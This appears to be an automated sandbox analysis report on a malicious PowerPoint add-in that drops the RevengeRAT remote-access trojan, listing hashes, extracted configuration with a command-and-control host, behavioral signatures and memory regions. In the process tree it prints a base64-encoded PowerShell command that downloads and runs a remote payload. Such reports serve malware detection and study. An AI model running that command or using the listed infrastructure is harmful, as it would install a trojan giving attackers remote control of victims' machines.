Analysis
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max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
14-03-2024 02:49
Static task
static1
Behavioral task
behavioral1
Sample
dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam
Resource
win10v2004-20240226-en
General
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Target
dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam
-
Size
21KB
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MD5
0fa350aeda0300d702cbffe77bdf26e1
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SHA1
3b9a66fd26bfd26cff53e222744b382da0735c74
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SHA256
dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044
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SHA512
d4514a79d24d5b165f0588cfa370a92e6d781add023878b515248c453153e26b9e701b2d5b7a1e02976783ba5925a0fd353d25ab8510419c4b6b30df2858e0d1
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SSDEEP
384:dXP27u0zBE0RZ+T9cx/7tsZKhNVqo6JV5ZjXDcd42nS5wYFjg1zTeQcxUwPMyvxh:VP2r60L+BS6ZkHqxJZkd42Sr9g1Xed0k
Malware Config
Extracted
revengerat
NyanCatRevenge
craxsrat.ddns.com.br:333
27d7e6701f5e
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1180 636 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 169 1180 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1180 set thread context of 3144 1180 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXERegSvcs.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 636 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1180 powershell.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
POWERPNT.EXEpid process 636 POWERPNT.EXE 636 POWERPNT.EXE 636 POWERPNT.EXE 636 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 636 wrote to memory of 1180 636 POWERPNT.EXE powershell.exe PID 636 wrote to memory of 1180 636 POWERPNT.EXE powershell.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe PID 1180 wrote to memory of 3144 1180 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k34osv0b.y2j.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/636-63-0x000001FF40600000-0x000001FF40E00000-memory.dmpFilesize
8.0MB
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memory/636-5-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-64-0x000001FF424E0000-0x000001FF426E0000-memory.dmpFilesize
2.0MB
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memory/636-2-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-66-0x000001FF40600000-0x000001FF40E00000-memory.dmpFilesize
8.0MB
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memory/636-1-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-6-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-7-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-9-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-8-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-10-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-11-0x00007FF93EC80000-0x00007FF93EC90000-memory.dmpFilesize
64KB
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memory/636-12-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-13-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-14-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-16-0x00007FF93EC80000-0x00007FF93EC90000-memory.dmpFilesize
64KB
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memory/636-15-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-17-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-18-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-19-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-20-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-21-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-25-0x000001FF40600000-0x000001FF40E00000-memory.dmpFilesize
8.0MB
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memory/636-28-0x000001FF424E0000-0x000001FF426E0000-memory.dmpFilesize
2.0MB
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memory/636-46-0x000001FF40600000-0x000001FF40E00000-memory.dmpFilesize
8.0MB
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memory/636-47-0x000001FF40600000-0x000001FF40E00000-memory.dmpFilesize
8.0MB
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memory/636-60-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-61-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-62-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-0-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-4-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-65-0x000001FF40600000-0x000001FF40E00000-memory.dmpFilesize
8.0MB
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memory/636-3-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-115-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-116-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-117-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-118-0x00007FF941030000-0x00007FF941040000-memory.dmpFilesize
64KB
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memory/636-119-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/636-120-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmpFilesize
2.0MB
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memory/1180-79-0x00007FF953E30000-0x00007FF9548F1000-memory.dmpFilesize
10.8MB
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memory/1180-93-0x0000029445580000-0x0000029445598000-memory.dmpFilesize
96KB
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memory/1180-95-0x0000029445580000-0x0000029445598000-memory.dmpFilesize
96KB
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memory/1180-83-0x0000029445580000-0x00000294455A0000-memory.dmpFilesize
128KB
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memory/1180-84-0x0000029445580000-0x0000029445598000-memory.dmpFilesize
96KB
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memory/1180-85-0x0000029445580000-0x0000029445598000-memory.dmpFilesize
96KB
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memory/1180-87-0x0000029445580000-0x0000029445598000-memory.dmpFilesize
96KB
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memory/1180-89-0x0000029445580000-0x0000029445598000-memory.dmpFilesize
96KB
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memory/1180-91-0x0000029445580000-0x0000029445598000-memory.dmpFilesize
96KB
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memory/1180-100-0x00007FF953E30000-0x00007FF9548F1000-memory.dmpFilesize
10.8MB
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memory/1180-82-0x000002945DCC0000-0x000002945DCD0000-memory.dmpFilesize
64KB
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memory/1180-81-0x000002945DCC0000-0x000002945DCD0000-memory.dmpFilesize
64KB
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memory/1180-69-0x0000029445550000-0x0000029445572000-memory.dmpFilesize
136KB
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memory/1180-96-0x00000294455A0000-0x00000294455A1000-memory.dmpFilesize
4KB
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memory/1180-80-0x000002945DCC0000-0x000002945DCD0000-memory.dmpFilesize
64KB
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memory/3144-102-0x0000000075010000-0x00000000757C0000-memory.dmpFilesize
7.7MB
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memory/3144-122-0x0000000004C20000-0x0000000004C30000-memory.dmpFilesize
64KB
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memory/3144-103-0x00000000050C0000-0x0000000005664000-memory.dmpFilesize
5.6MB
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memory/3144-104-0x0000000004C20000-0x0000000004C30000-memory.dmpFilesize
64KB
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memory/3144-106-0x0000000005020000-0x0000000005086000-memory.dmpFilesize
408KB
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memory/3144-105-0x0000000005670000-0x000000000570C000-memory.dmpFilesize
624KB
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memory/3144-121-0x0000000075010000-0x00000000757C0000-memory.dmpFilesize
7.7MB
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memory/3144-101-0x0000000000520000-0x000000000052A000-memory.dmpFilesize
40KB